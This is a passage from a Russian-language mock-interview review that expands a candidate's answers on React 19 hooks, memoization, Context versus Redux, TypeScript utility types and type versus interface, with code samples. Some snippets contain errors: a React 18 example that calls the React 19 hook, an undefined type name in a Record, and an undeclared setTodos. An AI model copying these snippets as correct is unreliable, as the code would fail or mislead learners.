<button type="submit">Add</button>
</form>
{optimisticTodos.map((todo, i) => (
<div key={i} style={{ opacity: todo.sending ? 0.5 : 1 }}>
{todo.title}
</div>
))}
</>
);
}

useFormStatus() хук:

// useFormStatus — доступ к состоянию родительской формы
function SubmitButton() {
const { pending, data } = useFormStatus();

return (
<button type="submit" disabled={pending}>
{pending ? 'Отправка...' : 'Отправить'}
</button>
);
}

// Использование
function ContactForm() {
async function submit(formData) {
await fetch('/api/contact', { method: 'POST', body: formData });
}

<form action={submit}>
<input name="email" />
<SubmitButton /> {/* Видит состояние формы */}
</form>
}

Actions:

// Actions — новый способ обработки форм и мутаций
function UpdateName() {
const [error, submitAction, isPending] = useActionState(
async (previousState, formData) => {
const name = formData.get('name');
const error = await updateName(name);
if (error) return error;
redirect('/profile');
},
null
);

return (
<form action={submitAction}>
<input name="name" />
<button type="submit" disabled={isPending}>
Обновить
</button>
{error && <p>{error}</p>}
</form>
);
}

useFormState() (deprecated в React 19, заменён на useActionState):

// Было в React 18
const [state, formAction] = useActionState(updateName, initialState);

Server Components:

// Server Component — рендерится только на сервере
// Нет интерактивности, нет useEffect, нет useState
// Но есть прямой доступ к базе данных, файловой системе

// app/users/page.js
async function UsersPage() {
// Этот код выполняется только на сервере
const users = await db.query('SELECT * FROM users');

return (
<ul>
{users.map(user => (
<li key={user.id}>{user.name}</li>
))}
</ul>
);
}

// Client Component — добавляется 'use client'
'use client';

import { useState } from 'react';

function InteractiveCounter() {
const [count, setCount] = useState(0);
return <button onClick={() => setCount(c => c + 1)}>{count}</button>;
}

Document Metadata:

// В React 19 можно использовать метаданные прямо в компоненхте
function BlogPost({ post }) {
return (
<article>
<title>{post.title}</title>
<meta name="description" content={post.excerpt} />
<h1>{post.title}</h1>
<p>{post.content}</p>
</article>
);
}

use() с промисами и Suspense:

return (
<Suspense fallback={<Loading />}>
<Note selectedId={selectedId} />
</Suspense>
);
}

function Note({ selectedId }) {
// use() интегрируется с Suspense
const note = use(fetchNote(selectedId));
return <div>{note.content}</div>;
}

Для серверного разработчика на Go понимание Server Components особенно интересно, так как они позволяют частично вернуться к серверному рендерингу, сохранив преимущества React для интерактивных частей приложения.

Вопрос 19. Что такое мемоизация в React (useMemo, React.memo, useCallback)?

Таймкод: 00:22:28

Ответ собеседника: Правильный. useMemo — мемоизация вычислений, React.memo — предотвращение ре-рендера при неизменных пропсах, useCallback — мемоизация функций. Не стоит использовать при постоянно меняющихся пропсах.

Правильный ответ:

Ответ собеседника корректный. Дополним техническими деталями и практическими примерами.

React.memo:

// React.memo — HOC, оборачивающий компонент для предотвращения лишних ре-рендеров
// Сравнивает пропсы поверхностно (shallow comparison)

const ExpensiveComponent = React.memo(function ExpensiveComponent({ user, onUpdate }) {
// Тяжёлые вычисления или сложный рендер
return (
<div>
<h1>{user.name}</h1>
<ComplexChart data={user.statistics} />
</div>
);
});

// Кастомная функция сравнения (опционально)
const MemoizedComponent = React.memo(
function MyComponent({ user, settings }) {
return <div>{user.name}</div>;
},
(prevProps, nextProps) => {
// Возвращаем true, если ре-рендер НЕ нужен
return prevProps.user.id === nextProps.user.id &&
prevProps.settings.theme === nextProps.settings.theme;
}
);

// Проблема: если передаём новый объект/функцию при каждом рендере
function Parent() {
const [count, setCount] = useState(0);

// Каждый рендер создаёт новый объект — React.memo не поможет
const user = { name: 'John', age: 30 };

// Каждый рендер создаёт новую функцию — React.memo не поможет
const handleUpdate = () => { /* ... */ };

return <ExpensiveComponent user={user} onUpdate={handleUpdate} />;
}

useMemo:

// useMemo — мемоизирует результат вычислений
function UserDashboard({ users, filter }) {
const [sortOrder, setSortOrder] = useState('asc');

// Без useMemo: фильтрация и сортировка при каждом рендере
// Даже если users и filter не изменились, а sortOrder изменился

// С useMemo: пересчитывается только при изменении users или filter
const processedUsers = useMemo(() => {
console.log('Processing users...');

let result = users.filter(user =>
user.name.toLowerCase().includes(filter.toLowerCase())
);

result.sort((a, b) => {
if (sortOrder === 'asc') return a.name.localeCompare(b.name);
return b.name.localeCompare(a.name);
});

return result;
}, [users, filter, sortOrder]); // Зависимости

return (
<ul>
{processedUsers.map(user => (
<li key={user.id}>{user.name}</li>
))}
</ul>
);
}

// useMemo для предотвращения создания новых объектов
function ThemeWrapper({ children }) {
const [theme, setTheme] = useState('dark');

// Без useMemo: новый объект при каждом рендере
// Все дочерние компоненты с React.memo будут ре-рендериться

const themeStyles = useMemo(() => ({
backgroundColor: theme === 'dark' ? '#000' : '#fff',
color: theme === 'dark' ? '#fff' : '#000',
padding: '20px'
}), [theme]);

return <div style={themeStyles}>{children}</div>;
}

useCallback:

// useCallback — мемоизирует саму функцию (ссылку на неё)
function TodoList({ todos }) {
const [filter, setFilter] = useState('all');

// Без useCallback: новая функция при каждом рендере
// Дочерние компоненты с React.memo будут ре-рендериться

// С useCallback: та же ссылка, пока зависимости не изменились
const handleDelete = useCallback((id) => {
setTodos(prev => prev.filter(todo => todo.id !== id));
}, []); // Пустые зависимости — функция создаётся один раз

const handleToggle = useCallback((id) => {
setTodos(prev =>
prev.map(todo =>
todo.id === id ? { ...todo, done: !todo.done } : todo
)
);
}, []);

return (
<ul>
{todos.map(todo => (
<TodoItem
key={todo.id}
todo={todo}
onDelete={handleDelete} // Стабильная ссылка
onToggle={handleToggle} // Стабильная ссылка
/>
))}
</ul>
);
}

const TodoItem = React.memo(function TodoItem({ todo, onDelete, onToggle }) {
console.log('TodoItem render:', todo.id);
return (
<li>
<input
type="checkbox"
checked={todo.done}
onChange={() => onToggle(todo.id)}
/>
{todo.text}
<button onClick={() => onDelete(todo.id)}>Delete</button>
</li>
);
});

Когда использовать мемоизацию:

// 1. Тяжёлые вычисления
const processedData = useMemo(() => {
return heavyComputation(rawData);
}, [rawData]);

// 2. Передача стабильных ссылок в memoized дочерние компоненты
const handleClick = useCallback(() => {
doSomething(id);
}, [id]);

return <MemoizedChild onClick={handleClick} />;

// 3. Зависимость в useEffect
const config = useMemo(() => ({
url: apiUrl,
params: { id }
}), [apiUrl, id]);

useEffect(() => {
fetchData(config);
}, [config]);

Когда НЕ использовать мемоизацию:

// 1. Простые вычисления — накладные расходы на мемоизацию дороже
const fullName = useMemo(() => `${firstName} ${lastName}`, [firstName, lastName]);
// Лучше:
const fullName = `${firstName} ${lastName}`;

// 2. Компонент всегда ре-рендерится с новыми пропсами
// React.memo не даст эффекта, только добавит накладные расходы на сравнение

// 3. Ранняя оптимизация без профилирования
// Сначала измерьте, потом оптимизируйте

// 4. Когда зависимости меняются слишком часто
const value = useMemo(() => compute(a, b), [a, b]);
// Если a и b меняются каждый рендер — мемоизация бесполезна

Правило большого пальца:

  • Не оптимизируйте заранее — сначала профилируйте
  • Используйте React DevTools Profiler для выявления проблем
  • Мемоизация — это не бесплатная оптимизация, она потребляет память
  • В большинстве случаев React достаточно быстр без мемоизации
  • Фокус на правильной структуре компонентов важнее мемоизации

Вопрос 20. Можно ли использовать React Context вместо Redux? В чём недостатки Context?

Таймкод: 00:25:44

Ответ собеседника: Правильный. Context — передача данных без prop drilling. Недостаток: все потребители перерендериваются при изменении значения. Redux обновляет только компоненты, использующие изменённые данные.

Правильный ответ:

Ответ собеседника верный. Дополним техническими деталями и практическими примерами.

React Context — базовое использование:

// Создание контекста
const ThemeContext = React.createContext('light');

// Провайдер — оборачивает дерево компонентов
function App() {
const [theme, setTheme] = useState('dark');

return (
<ThemeContext.Provider value={{ theme, setTheme }}>
<Header />
<MainContent />
<Sidebar />
</ThemeContext.Provider>
);
}

// Потребитель — использует значение контекста
function Header() {
const { theme, setTheme } = useContext(ThemeContext);
return (
<header className={theme}>
<button onClick={() => setTheme(t => t === 'dark' ? 'light' : 'dark')}>
Переключить тему
</button>
</header>
);
}

Проблема ре-рендеров:

// Проблема: один контекст с несколькими значениями
const AppContext = React.createContext();

function AppProvider({ children }) {
const [user, setUser] = useState(null);
const [theme, setTheme] = useState('dark');
const [language, setLanguage] = useState('ru');
const [notifications, setNotifications] = useState([]);

// Все значения в одном контексте
const value = {
user, setUser,
theme, setTheme,
language, setLanguage,
notifications, setNotifications
};

return (
<AppContext.Provider value={value}>
{children}
</AppContext.Provider>
);
}

// Компонент, использующий только theme
function ThemedButton() {
const { theme } = useContext(AppContext);
console.log('ThemedButton render'); // Лог при ЛЮБОМ изменении контекста

// Этот компонент ре-рендерится при изменении user, language, notifications
// Хоть он использует только theme!

return <button className={theme}>Click</button>;
}

// Компонент, использующий только user
function UserProfile() {
const { user } = useContext(AppContext);
console.log('UserProfile render'); // Лог при ЛЮБОМ изменении контекста

return <div>{user?.name}</div>;
}

Решение: разделение контекстов:

// Разделяем на отдельные контексты
const ThemeContext = React.createContext();
const UserContext = React.createContext();
const LanguageContext = React.createContext();

function AppProvider({ children }) {
const [user, setUser] = useState(null);
const [theme, setTheme] = useState('dark');
const [language, setLanguage] = useState('ru');

return (
<UserContext.Provider value={{ user, setUser }}>
<ThemeContext.Provider value={{ theme, setTheme }}>
<LanguageContext.Provider value={{ language, setLanguage }}>
{children}
</LanguageContext.Provider>
</ThemeContext.Provider>
</UserContext.Provider>
);
}

// Теперь ThemedButton ре-рендерится только при изменении theme
function ThemedButton() {
const { theme } = useContext(ThemeContext);
return <button className={theme}>Click</button>;
}

Redux — селективные подписки:

// Redux использует селекторы для выборки конкретных данных
// Компонент ре-рендерится только при изменении результата селектора

import { useSelector, useDispatch } from 'react-redux';

function ThemedButton() {
// Подписываемся только на theme
const theme = useSelector(state => state.theme);

// Ре-рендер только при изменении theme
// Изменения user, language, notifications не влияют
return <button className={theme}>Click</button>;
}

function UserProfile() {
// Подписываемся только на user
const user = useSelector(state => state.user);

// Ре-рендер только при изменении user
return <div>{user.name}</div>;
}

// Redux Toolkit — современный способ работы с Redux
import { createSlice, configureStore } from '@reduxjs/toolkit';

const themeSlice = createSlice({
name: 'theme',
initialState: 'dark',
reducers: {
toggle: (state) => state === 'dark' ? 'light' : 'dark'
}
});

const store = configureStore({
reducer: {
theme: themeSlice.reducer,
user: userSlice.reducer,
language: languageSlice.reducer
}
});

Сравнение Context и Redux:

ХарактеристикаContextRedux
Ре-рендерыВсе потребители при измененииТолько подписчики на изменённые данные
MiddlewareНетДа (redux-thunk, redux-saga, RTK Query)
DevToolsНетДа (Redux DevTools)
СелекторыНет (ручная реализация)Да (reselect, RTK)
ПерсистентностьНетДа (redux-persist)
Размер бандла0 KB (встроен в React)~1.5 KB (Redux Toolkit)
Кривая обученияНизкаяСредняя
ОтладкаСложнаяПростая (time-travel debugging)

Когда использовать Context:

// 1. Глобальные настройки с редкими изменениями
// - Тема оформления
// - Язык локализации
// - Авторизационный токен

// 2. Передача данных через глубокое дерево компонентов
// Без необходимости тонкого контроля ре-рендеров

// 3. Простые приложения с небольшим состоянием

Когда использовать Redux:

// 1. Сложное состояние с множеством взаимосвязей
// 2. Необходимость middleware для побочных эффектов
// 3. Потребность в отладке (Redux DevTools)
// 4. Кэширование и управление серверным состоянием (RTK Query)
// 5. Большие команды с необходимостью стандартизации

Современная альтернатива — Zustand:

// Zustand — лёгкий стейт-менеджер с селективными подписками
import { create } from 'zustand';

const useStore = create((set) => ({
user: null,
theme: 'dark',
language: 'ru',

setUser: (user) => set({ user }),
toggleTheme: () => set(state => ({
theme: state.theme === 'dark' ? 'light' : 'dark'
}))
}));

// Селективная подписка — ре-рендер только при изменении theme
function ThemedButton() {
const theme = useStore(state => state.theme);
const toggleTheme = useStore(state => state.toggleTheme);

return <button className={theme} onClick={toggleTheme}>Toggle</button>;
}

Для серверного разработчика на Go понимание стейт-менеджмента важно для проектирования API, которые эффективно работают с клиентским состоянием, а также для понимания паттернов кэширования и синхронизации данных.

Вопрос 21. Что такое TypeScript, зачем он нужен и какие у него плюсы и минусы?

Таймкод: 00:27:46

Ответ собеседника: Правильный. TypeScript — надмножество JavaScript со статической типизацией. Плюсы: защита от ошибок типов, читаемость, понимание структур данных. Минусы: транспиляция, увеличение объёма кода, нет защиты от runtime ошибок.

Правильный ответ:

Ответ собеседника корректный. Дополним техническими деталями и практическими примерами.

Что такое TypeScript:

TypeScript — это надмножество JavaScript, добавляющее статическую типизацию. Любой валидный JavaScript-код является валидным TypeScript-кодом. TypeScript компилируется (транспилируется) в JavaScript.

// JavaScript
function add(a, b) {
return a + b;
}
add(1, 2); // 3
add("1", "2"); // "12" — неожиданный результат
add(1, "2"); // "12" — ошибка не обнаружена

// TypeScript
function add(a: number, b: number): number {
return a + b;
}
add(1, 2); // 3
add("1", "2"); // Ошибка компиляции: Argument of type 'string' is not assignable
add(1, "2"); // Ошибка компиляции

Ключевые возможности TypeScript:

Интерфейсы и типы:

// Интерфейс — описание структуры объекта
interface User {
id: number;
name: string;
email: string;
role: 'admin' | 'user' | 'moderator'; // Union type
createdAt: Date;
}

// Type alias — альтернатива интерфейсу
type UserRole = 'admin' | 'user' | 'moderator';

type ApiResponse<T> = {
data: T;
status: number;
message: string;
};

// Использование
const response: ApiResponse<User[]> = {
data: [{ id: 1, name: 'John', email: 'john@example.com', role: 'admin', createdAt: new Date() }],
status: 200,
message: 'Success'
};

// Generic типы
function getFirst<T>(arr: T[]): T | undefined {
return arr[0];
}

const first = getFirst([1, 2, 3]); // number | undefined
const firstStr = getFirst(['a', 'b']); // string | undefined

Типизация API-ответов:

// Определение типов для API
interface Todo {
id: number;
title: string;
completed: boolean;
userId: number;
}

// Типизированный fetch — огромное преимущество для работы с бэкендом
async function fetchTodos(): Promise<Todo[]> {
const response = await fetch('/api/todos');
const data: Todo[] = await response.json();
// TypeScript знает структуру data — автодополнение, проверка типов
return data;
}

async function createTodo(title: string): Promise<Todo> {
const response = await fetch('/api/todos', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ title, completed: false })
});
return response.json();
}

// Использование с полной типобезопасностью
async function displayTodos() {
const todos = await fetchTodos();
todos.forEach(todo => {
console.log(todo.title); // Автодополнение работает
console.log(todo.titlee); // Ошибка: Property 'titlee' does not exist
});
}

Utility Types:

interface User {
id: number;
name: string;
email: string;
password: string;
}

// Partial — все поля становятся опциональными
type UserUpdate = Partial<User>;
const update: UserUpdate = { name: 'John' }; // OK

// Pick — выбор конкретных полей
type PublicUser = Pick<User, 'id' | 'name'>;
const publicUser: PublicUser = { id: 1, name: 'John' };

// Omit — исключение полей
type UserWithoutPassword = Omit<User, 'password'>;
const safeUser: UserWithoutPassword = { id: 1, name: 'John', email: 'john@example.com' };

// Required — все поля становятся обязательными
type RequiredUser = Required<Partial<User>>;

// Record — словарь с определёнными ключами и значениями
type UserRoles = Record<string, 'admin' | 'user'>;
const roles: UserRoles = {
john: 'admin',
jane: 'user'
};

Плюсы TypeScript:

  • Раннее обнаружение ошибок — ошибки типов находятся на этапе компиляции
  • Автодополнение — IDE знает типы и предлагает правильные свойства и методы
  • Рефакторинг — безопасное переименование, изменение сигнатур
  • Документация — типы служат живой документацией кода
  • Интерфейсы контрактов — чёткое описание ожидаемых данных между фронтендом и бэкендом

Минусы TypeScript:

// 1. Время на компиляцию
// Большие проекты компилируются дольше

// 2. Сложность типизации в некоторых случаях
// Дженерики, conditional types, mapped types могут быть сложными

// 3. TypeScript не защищает от runtime ошибок
// Данные с сервера могут не соответствовать типам
const response = await fetch('/api/user');
const user: User = await response.json(); // TypeScript доверяет, но сервер может вернуть что угодно

// Решение: runtime валидация с zod
import { z } from 'zod';

const UserSchema = z.object({
id: z.number(),
name: z.string(),
email: z.string().email(),
role: z.enum(['admin', 'user', 'moderator'])
});

type User = z.infer<typeof UserSchema>;

async function fetchUser(): Promise<User> {
const response = await fetch('/api/user');
const data = await response.json();
return UserSchema.parse(data); // Runtime валидация + типизация
}

// 4. Иногда приходится использовать any или type assertions
// Это обходит систему типов
const data: any = JSON.parse(response); // Потеря типобезопасности
const user = data as User; // Утверждение без проверки

Когда TypeScript оправдан:

  • Средние и крупные проекты
  • Командная разработка
  • Проекты с длительным сроком поддержки
  • Интеграция с API (чёткие контракты данных)
  • Библиотеки и фреймворки

Когда TypeScript может быть избыточен:

  • Быстрые прототипы и одноразовые скрипты
  • Очень маленькие проекты (до ~1000 строк)
  • Команда без опыта TypeScript и жёсткие дедлайны

Для серверного разработчика на Go TypeScript особенно интересен, потому что Go тоже статически типизированный язык, и концепции интерфейсов, структур и дженериков будут знакомы. Использование TypeScript на фронтенде позволяет создавать типобезопасные контракты между клиентом и сервером, что уменьшает количество ошибок интеграции.

Вопрос 22. Всегда ли оправдано использование TypeScript или есть ситуации, когда лучше JavaScript?

Таймкод: 00:29:33

Ответ собеседника: Правильный. TypeScript для долгосрочных проектов, JavaScript для быстрых пет-проектов и приложений без фреймворков.

Правильный ответ:

Ответ собеседника верный, но можно систематизировать и дополнить.

Когда TypeScript оправдан:

// 1. Командная разработка
// Типы служат контрактом между разработчиками
interface CreateUserRequest {
name: string;
email: string;
role: 'admin' | 'user';
}

// Новый разработчик сразу понимает, какие данные ожидает API
async function createUser(data: CreateUserRequest): Promise<User> {
// ...
}

// 2. Интеграция с бэкендом
// Типы с сервера можно генерировать автоматически
// Например, из OpenAPI/Swagger спецификации

// 3. Рефакторинг
// При изменении интерфейса компилятор покажет все места, которые нужно обновить
interface User {
id: number;
fullName: string; // Было name, стало fullName
email: string;
}
// TypeScript покажет ошибку в каждом месте, где использовалось name

// 4. Библиотеки и публичные API
// Типы — это документация, которая не устаревает

Когда JavaScript может быть лучше:

// 1. Быстрые прототипы
// Не нужно тратить время на написание типов
function processData(data) {
return data.filter(item => item.active).map(item => item.value);
}

// 2. Конфигурационные файлы
// webpack.config.js, .eslintrc.js — здесь типы избыточны
module.exports = {
entry: './src/index.js',
output: { filename: 'bundle.js' }
};

// 3. Скрипты автоматизации
// Одноразовые скрипты для деплоя, миграций и т.д.
const fs = require('fs');
const files = fs.readdirSync('./migrations');
files.forEach(file => console.log(file));

// 4. Очень маленькие проекты
// До ~500-1000 строк кода типизация может замедлять

// 5. Динамические структуры данных
// Когда структура данных неизвестна заранее или меняется динамически
function processApiResponse(response) {
// Структура зависит от типа запроса
// Типизировать сложно, проще работать динамически
return Object.entries(response).map(([key, value]) => ({
field: key,
data: value
}));
}

Компромисс: JSDoc:

// JSDoc — способ добавить типизацию без TypeScript
// Работает в обычном JavaScript с поддержкой в IDE

/**
* @typedef {Object} User
* @property {number} id
* @property {string} name
* @property {string} email
*/

/**
* @param {User} user
* @returns {string}
*/
function getUserDisplayName(user) {
return user.name.toUpperCase();
}

/**
* @param {number} a
* @param {number} b
* @returns {number}
*/
function add(a, b) {
return a + b;
}

// IDE будет показывать типы и предупреждать об ошибках
// Но это не полноценная типизация — только подсказки

Практический совет:

Для серверного разработчика на Go переход на TypeScript будет естественным, так как Go тоже статически типизированный язык. Многие концепции — интерфейсы, структуры, дженерики — работают похожим образом. Использование TypeScript на фронтенде создаёт единый типизированный стек, что упрощает разработку и уменьшает ошибки на границе клиент-сервер.

Итого:

СитуацияРекомендация
Продуктовый проектTypeScript
Команда от 2 человекTypeScript
Интеграция с APITypeScript
Библиотека/фреймворкTypeScript
Пет-проект на выходныеJavaScript
Конфигурационные файлыJavaScript
Одноразовые скриптыJavaScript
Прототип за деньJavaScript

Вопрос 23. Что такое утилитарные типы в TypeScript и какие из них знаешь?

Таймкод: 00:30:37

Ответ собеседника: Правильный. Утилитарные типы — встроенные дженерики для манипуляции типами. Названы Record, Partial, Required.

Правильный ответ:

Ответ собеседника корректный, но список можно значительно расширить. TypeScript предоставляет множество встроенных утилитарных типов.

Основные утилитарные типы:

interface User {
id: number;
name: string;
email: string;
password: string;
role: 'admin' | 'user';
createdAt: Date;
}

Partial — все свойства опциональные:

// Полезно для обновлений, где не все поля обязательны
type UserUpdate = Partial<User>;
// Эквивалентно:
// {
// id?: number;
// name?: string;
// email?: string;
// ...
// }

function updateUser(id: number, updates: Partial<User>) {
// Можно передать только те поля, которые нужно обновить
}

updateUser(1, { name: 'John' }); // OK
updateUser(1, { email: 'new@mail.com' }); // OK

Required — все свойства обязательные:

interface UserInput {
name?: string;
email?: string;
role?: string;
}

// После валидации все поля гарантированно заполнены
type ValidatedUserInput = Required<UserInput>;
// {
// name: string;
// email: string;
// role: string;
// }

Pick — выбор конкретных свойств:

// Для публичного профиля не нужны все поля
type PublicUser = Pick<User, 'id' | 'name' | 'role'>;
// {
// id: number;
// name: string;
// role: 'admin' | 'user';
// }

function getPublicProfile(user: User): PublicUser {
return {
id: user.id,
name: user.name,
role: user.role
};
}

Omit — исключение свойств:

// Тот же результат, что Pick, но другой подход
type PublicUser = Omit<User, 'password' | 'email' | 'createdAt'>;

// Для создания пользователя не нужен id и createdAt
type CreateUserInput = Omit<User, 'id' | 'createdAt'>;

async function createUser(input: CreateUserInput): Promise<User> {
// Сервер сам сгенерирует id и createdAt
}

Record — словарь с определёнными ключами и значениями:

// Ключи — строки, значения — числа
type Scores = Record<string, number>;
const scores: Scores = {
math: 95,
english: 87,
science: 92
};

// Ключи из union type
type UserRoles = 'admin' | 'user' | 'moderator';
type RolePermissions = Record<UserPermissions, string[]>;

const permissions: RolePermissions = {
admin: ['read', 'write', 'delete', 'manage'],
user: ['read', 'write'],
moderator: ['read', 'write', 'moderate']
};

// Для локализации
type Languages = 'en' | 'ru' | 'de';
type Translations = Record<Languages, string>;

const greeting: Translations = {
en: 'Hello',
ru: 'Привет',
de: 'Hallo'
};

Readonly — все свойства только для чтения:

type ReadonlyUser = Readonly<User>;

const user: ReadonlyUser = {
id: 1,
name: 'John',
email: 'john@example.com',
password: 'secret',
role: 'admin',
createdAt: new Date()
};

user.name = 'Jane'; // Error: Cannot assign to 'name' because it is a read-only property

Exclude — исключение из union type:

type AllRoles = 'admin' | 'user' | 'moderator' | 'guest';
type PrivilegedRoles = Exclude<AllRoles, 'guest'>;
// 'admin' | 'user' | 'moderator'

type AllStrings = string | number | boolean;
type OnlyString = Exclude<AllStrings, number | boolean>;
// string

Extract — выбор из union type:

type AllTypes = string | number | boolean | null | undefined;
type NullableTypes = Extract<AllTypes, null | undefined>;
// null | undefined

type StringOrNumber = Extract<AllTypes, string | number>;
// string | number

NonNullable — исключение null и undefined:

type MaybeString = string | null | undefined;
type DefinitelyString = NonNullable<MaybeString>;
// string

type UserName = string | null;
type ValidUserName = NonNullable<UserName>;
// string

ReturnType — тип возвращаемого значения функции:

function getUser() {
return {
id: 1,
name: 'John',
email: 'john@example.com'
};
}

type User = ReturnType<typeof getUser>;
// {
// id: number;
// name: string;
// email: string;
// }

async function fetchUsers() {
const response = await fetch('/api/users');
return response.json();
}

type UsersResponse = Awaited<ReturnType<typeof fetchUsers>>;

Parameters — типы параметров функции:

function createUser(name: string, email: string, role: 'admin' | 'user') {
// ...
}

type CreateUserParams = Parameters<typeof createUser>;
// [name: string, email: string, role: 'admin' | 'user']

// Использование
const params: CreateUserParams = ['John', 'john@example.com', 'admin'];
createUser(...params);

Awaited — извлечение типа из Promise:

type PromiseType = Promise<{ id: number; name: string }>;
type Resolved = Awaited<PromiseType>;
// { id: number; name: string }

// Для вложенных промисов
type NestedPromise = Promise<Promise<string>>;
type DeepResolved = Awaited<NestedPromise>;
// string

Комбинирование утилитарных типов:

// Тип для обновления пользователя: все поля опциональные, кроме id
type UserUpdate = Partial<Omit<User, 'id'>> & Pick<User, 'id'>;

// Публичный профиль только для чтения
type ReadonlyPublicUser = Readonly<Pick<User, 'id' | 'name' | 'role'>>;

// Тип для формы создания: все поля обязательные, кроме id и createdAt
type UserFormInput = Required<Omit<User, 'id' | 'createdAt'>>;

// Ответ API с дженериком
type ApiResponse<T> = {
data: T;
status: number;
message: string;
};

type UsersResponse = ApiResponse<Pick<User, 'id' | 'name'>[]>;
type UserResponse = ApiResponse<Omit<User, 'password'>>;

Практическое применение с API:

// Базовый интерфейс для сущностей с бэкенда
interface BaseEntity {
id: number;
createdAt: string;
updatedAt: string;
}

interface Product extends BaseEntity {
name: string;
price: number;
description: string;
categoryId: number;
}

// Типы для CRUD операций
type CreateProductDto = Omit<Product, keyof BaseEntity>;
type UpdateProductDto = Partial<CreateProductDto>;
type ProductListItem = Pick<Product, 'id' | 'name' | 'price'>;
type ProductDetail = Product;

// Пагинированный ответ
type PaginatedResponse<T> = {
items: T[];
total: number;
page: number;
pageSize: number;
totalPages: number;
};

type ProductListResponse = PaginatedResponse<ProductListItem>;

Вопрос 24. Чем отличаются type и interface в TypeScript? Когда что использовать?

Таймкод: 00:31:43

Ответ собеседника: Правильный. Interface для объектных структур, type для union типов и значений. Interface поддерживает extends. Type тоже можно для объектов, но interface лучше для структур.

Правильный ответ:

Ответ собеседника в целом верный, но стоит уточнить и дополнить техническими деталями.

Основные различия:

Объявление и слияние (Declaration Merging):

// Interface поддерживает declaration merging
interface User {
id: number;
name: string;
}

interface User {
email: string;
}

// Результат: User содержит id, name, email
const user: User = { id: 1, name: 'John', email: 'john@example.com' };

// Type НЕ поддерживает declaration merging
type UserType = {
id: number;
name: string;
};

type UserType = { // Error: Duplicate identifier 'UserType'
email: string;
};

Declaration merging полезно для расширения типов из внешних библиотек:

// Расширение Window интерфейса
declare global {
interface Window {
myCustomProperty: string;
}
}

// Расширение Express Request в Node.js
declare namespace Express {
interface Request {
user?: {
id: number;
role: string;
};
}
}

Наследование:

// Interface — extends
interface Animal {
name: string;
age: number;
}

interface Dog extends Animal {
breed: string;
}

// Множественное наследование интерфейсов
interface Canine {
packSize: number;
}

interface DomesticDog extends Dog, Canine {
owner: string;
}

// Type — пересечение типов (intersection)
type AnimalType = {
name: string;
age: number;
};

type DogType = AnimalType & {
breed: string;
};

// Множественное пересечение
type DomesticDogType = DogType & CanineType & {
owner: string;
};

Union и Intersection types:

// Type может быть union — interface НЕ МОЖЕТ
type Status = 'pending' | 'active' | 'completed' | 'cancelled';
type ID = string | number;
type Result<T> = { success: true; data: T } | { success: false; error: string };

// Использование union type
function handleResult(result: Result<User>) {
if (result.success) {
// TypeScript знает, что здесь result.data существует
console.log(result.data.name);
} else {
// Здесь result.error существует
console.log(result.error);
}
}

// Type может представлять примитивы, кортежи, mapped types
type StringOrNumber = string | number;
type Coordinate = [number, number, number]; // Tuple
type Keys = 'name' | 'email' | 'age';
type UserRecord = Record<Keys, string>; // Mapped type

// Interface может описывать ТОЛЬКО объекты

Computed properties и mapped types:

// Type поддерживает mapped types и вычисляемые свойства
type Readonly<T> = {
readonly [P in keyof T]: T[P];
};

type Nullable<T> = {
[P in keyof T]: T[P] | null;
};

type Getters<T> = {
[P in keyof T as `get${Capitalize<string & P>}`]: () => T[P];
};

type UserGetters = Getters<User>;
// {
// getId: () => number;
// getName: () => string;
// getEmail: () => string;
// }

// Interface НЕ поддерживает mapped types

Performance:

// Незначительная разница в производительности компилятора:
// - Interface создаёт один плоский тип, кэшируется быстрее
// - Type с пересечениями может требовать больше вычислений
// На практике разница незначительна

Рекомендации по использованию:

// Используйте interface для:
// 1. Описания объектных структур
interface User {
id: number;
name: string;
email: string;
}

// 2. Когда нужна возможность расширения (declaration merging)
interface ApiResponse {
status: number;
}

// 3. Публичные API библиотек
export interface Config {
apiUrl: string;
timeout: number;
}

// 4. Когда важна читаемость ошибок (interface показывает имя в ошибках)

// Используйте type для:
// 1. Union типов
type Status = 'active' | 'inactive' | 'pending';
type ID = string | number;

// 2. Функциональных типов
type EventHandler = (event: Event) => void;
type AsyncFunction<T> = () => Promise<T>;

// 3. Кортежей
type Point = [x: number, y: number];
type Result<T> = [error: Error | null, data: T | null];

// 4. Mapped и conditional types
type Partial<T> = { [P in keyof T]?: T[P] };
type NonNullable<T> = T extends null | undefined ? never : T;

// 5. Комбинации типов
type UserWithPermissions = User & { permissions: string[] };
type PublicUser = Omit<User, 'email'>;

Для серверного разработчика на Go:

// Аналогия с Go:
// interface в TypeScript ≈ struct в Go
// type с union ≈ interface{} в Go (но с ограничениями)

// Go:
// type User struct {
// ID int
// Name string
// }
// type Status string
// const (
// StatusActive Status = "active"
// StatusInactive Status = "inactive"
// )

// TypeScript эквивалент:
interface User {
id: number;
name: string;
}

type Status = 'active' | 'inactive';

Итого:

ХарактеристикаInterfaceType
Объектные типыДаДа
Union типыНетДа
Intersection типыЧерез extendsЧерез &
Declaration mergingДаНет
Mapped typesНетДа
Conditional typesНетДа
ExtendsДаЧерез &
ImplementsДаДа

В большинстве случаев выбор между type и interface — вопрос стиля и предпочтений команды. Главное — быть последовательным в проекте.

Вопрос 25. Реализовать функцию sortById, которая сортирует массив объектов по id

Таймкод: 00:33:55

Ответ собеседника: Правильный. Использован spread для копирования массива, затем sort с сравнением a.id - b.id.

Правильный ответ:

Ответ собеседника корректный. Дополним вариантами и рассмотрим нюансы.

Базовое решение:

interface WithId {
id: number;
[key: string]: any;
}

function sortById<T extends WithId>(arr: T[]): T[] {
return [...arr].sort((a, b) => a.id - b.id);
}

// Использование
const users = [
{ id: 3, name: 'Charlie' },
{ id: 1, name: 'Alice' },
{ id: 2, name: 'Bob' }
];

const sorted = sortById(users);
// [{ id: 1, name: 'Alice' }, { id: 2, name: 'Bob' }, { id: 3, name: 'Charlie' }]

Расширенные варианты:

// С поддержкой направления сортировки
function sortById<T extends WithId>(
arr: T[],
order: 'asc' | 'desc' = 'asc'
): T[] {
return [...arr].sort((a, b) => {
const diff = a.id - b.id;
return order === 'asc' ? diff : -diff;
});
}

// С поддержкой строковых id
function sortByIdGeneric<T extends { id: string | number }>(arr: T[]): T[] {
return [...arr].sort((a, b) => {
if (typeof a.id === 'number' && typeof b.id === 'number') {
return a.id - b.id;
}
return String(a.id).localeCompare(String(b.id));
});
}

// Универсальная функция сортировки по любому ключу
function sortBy<T>(arr: T[], key: keyof T, order: 'asc' | 'desc' = 'asc'): T[] {
return [...arr].sort((a, b) => {
const aVal = a[key];
const bVal = b[key];

let comparison = 0;
